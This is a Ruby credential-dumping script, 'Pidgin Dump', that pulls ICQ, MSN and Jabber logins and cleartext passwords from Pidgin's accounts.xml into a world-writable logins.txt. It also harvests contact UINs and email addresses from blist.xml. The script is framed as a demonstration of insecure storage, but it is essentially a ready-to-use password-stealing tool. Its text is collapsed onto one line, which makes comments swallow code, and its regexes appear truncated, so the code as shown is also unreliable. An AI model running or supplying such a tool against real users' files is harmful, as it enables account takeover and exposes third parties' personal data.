#!/usr/bin/env ruby # # Name: Pidgin Dump v1.0 # Author: SkyOut # Date: March 2008 # Website: http://wired-security.net/ # # Description: # The program dumps informations out of the files "accounts.xml" and # "blist.xml" of Pidgin (formerly known as Gaim). It will write down logins # and password and furthermore ICQ UIN's and email addresses used for MSN # and/or Jabber. All informations are saved by Pidgin in cleartext and this # program simply demonstrates why this is a high risk and can be easily used # for evil purposes. The program should work with Pidgin and Gaim, the only # difference is the folder, the files are saved to. For Gaim the folder is # .gaim, for Pidgin it is named .purple. Furthermore this tool should run # on every operating system providing Ruby (written in Ruby 1.8.6) as a # scripting language. You just have to pass the location of the files as your # argument. # # # The help dialogue # def usage() puts "" puts "-------------------------------------------" puts "| Pidgin Dump v1.0 |" puts "-------------------------------------------" puts "| Featured protocols: ICQ, MSN and Jabber |" puts "-------------------------------------------" puts "" puts "---------------------------------------------------------------------" puts "| Usage: ruby pidgindump.rb [-help|-accounts|-blist] [path to file] |" puts "---------------------------------------------------------------------" puts "" puts "=> Example 1: ruby pidgindump.rb -help" puts "=> This will print the dialogue you are just viewing." puts "" puts "=> Example 2: ruby pidgindump.rb -accounts /home/.../.purple/accounts.xml" puts "=> This will create a file called \"logins.txt\" in your current workding directory." puts "" puts "=> Example 3: ruby pidgindump.rb -blist /home/.../.purple/blist.xml" puts "=> This will create two files, named \"icq.txt\" and \"emails.txt\" with all information extracted from the file." puts "" exit(0) end # # Print the help dialogue # if (ARGV[0] == "-help") || (!ARGV[0]) usage() end # # Dump information out of "accounts.xml" # if (ARGV[0] == "-accounts") if (ARGV[1]) accounts = ARGV[1] # # Save all information in "logins.txt" # logins = File.open("logins.txt", File::WRONLY|File::TRUNC|File::CREAT, 0777) # # Make sure the file exists # if (File.file?(accounts)) # # Make sure the file is readable # if (File.readable?(accounts)) # # Go through the file line by line # File.open(accounts).each { |line| ###################################################################### # ICQ account detected ###################################################################### if line =~ /\prpl-icq\<\/protocol\>/i logins.puts "-----------" logins.puts "ICQ ACCOUNT" logins.puts "-----------" end if line =~ /\[0-9]+\<\/name\>/i line = line.split('>') line = line.fetch(1) line = line.split('<') line = line.fetch(0) logins.puts "LOGIN: #{line}" end if line =~ /\[a-zA-Z0-9]+\<\/password\>/i line = line.split('>') line = line.fetch(1) line = line.split('<') line = line.fetch(0) logins.puts "PASSWORD: #{line}" logins.puts "" end ###################################################################### ###################################################################### # MSN account detected ###################################################################### if line =~ /\prpl-msn\<\/protocol\>/i logins.puts "-----------" logins.puts "MSN ACCOUNT" logins.puts "-----------" end if line =~ /\[a-zA-Z0-9]+@[a-zA-Z0-9]+.[a-zA-Z0-9]+\<\/name\>/i line = line.split('>') line = line.fetch(1) line = line.split('<') line = line.fetch(0) logins.puts "LOGIN: #{line}" end if line =~ /\[a-zA-Z0-9]+\<\/password\>/i line = line.split('>') line = line.fetch(1) line = line.split('<') line = line.fetch(0) logins.puts "PASSWORD: #{line}" logins.puts "" end ###################################################################### ###################################################################### # Jabber account detected ###################################################################### if line =~ /\prpl-jabber\<\/protocol\>/i logins.puts "" logins.puts "--------------" logins.puts "JABBER ACCOUNT" logins.puts "--------------" end if line =~ /\[a-zA-Z0-9]+@[a-zA-Z0-9]+.[a-zA-Z0-9]+\/[a-zA-Z0-9]+\<\/name\>/i line = line.split('>') line = line.fetch(1) line = line.split('<') line = line.fetch(0) line = line.split('/') line = line.fetch(0) logins.puts "LOGIN: #{line}" end if line =~ /\[a-zA-Z0-9]+\<\/password\>/i line = line.split('>') line = line.fetch(1) line = line.split('<') line = line.fetch(0) logins.puts "PASSWORD: #{line}" logins.puts "" end } # # Print an error, when the file is not readable # else puts "" puts "-----------------------------" puts "| The file is not readable. |" puts "-----------------------------" usage() end # # Print an error, when the file does not exist # else puts "" puts "----------------------------" puts "| The file does not exist. |" puts "----------------------------" usage() end # # Print an error, when the location of the file has not been specified # else puts "" puts "-------------------------------------------------------------" puts "| Please specify the location of the file \"accounts.xml\". |" puts "-------------------------------------------------------------" usage() end end # # Dump information out of "blist.xml" # if (ARGV[0] == "-blist") if (ARGV[1]) blist = ARGV[1] # # Save ICQ UIN's in "icq.txt" # icq = File.open("icq.txt", File::WRONLY|File::TRUNC|File::CREAT, 0777) # # Save email addresses (can be Jabber ID oder MSN address) in "emails.txt" # emails = File.open("emails.txt", File::WRONLY|File::TRUNC|File::CREAT, 0777) # # Make sure the file exists # if (File.file?(blist)) # # Make sure the file is readable # if (File.readable?(blist)) # # Go through the file line by line # File.open(blist).each { |line| ###################################################################### # ICQ UIN detected ###################################################################### if line =~ /\[0-9]+\<\/name\>/i line = line.split('>') line = line.fetch(1) line = line.split('<') line = line.fetch(0) icq.puts "#{line}" end ###################################################################### ###################################################################### # Email address detected (can be Jabber or MSN) ###################################################################### if line =~ /\[a-zA-Z0-9]+@[a-zA-Z0-9]+.[a-zA-Z0-9]+\<\/name\>/i line = line.split('>') line = line.fetch(1) line = line.split('<') line = line.fetch(0) emails.puts "#{line}" end ###################################################################### ###################################################################### # Email address detected (permitted MSN address, but not in buddylist) ###################################################################### if line =~ /\[a-zA-Z0-9]+@[a-zA-Z0-9]+.[a-zA-Z0-9]+\<\/permit\>/i line = line.split('>') line = line.fetch(1) line = line.split('<') line = line.fetch(0) emails.puts "#{line}" end ###################################################################### ###################################################################### # Email address detected (blocked MSN address and not in buddylist) ###################################################################### if line =~ /\[a-zA-Z0-9]+@[a-zA-Z0-9]+.[a-zA-Z0-9]+\<\/block\>/i line = line.split('>') line = line.fetch(1) line = line.split('<') line = line.fetch(0) emails.puts "#{line}" end ###################################################################### } # # Print an error, when the file is not readable # else puts "" puts "-----------------------------" puts "| The file is not readable. |" puts "-----------------------------" usage() end # # Print an error, when the file does not exist # else puts "" puts "----------------------------" puts "| The file does not exist. |" puts "----------------------------" usage() end # # Print an error, when the location of the file has not been specified # else puts "" puts "-----------------------------------------------------------" puts "| Please specifiy the location of the file \"blist.xml\". |" puts "-----------------------------------------------------------" usage() end end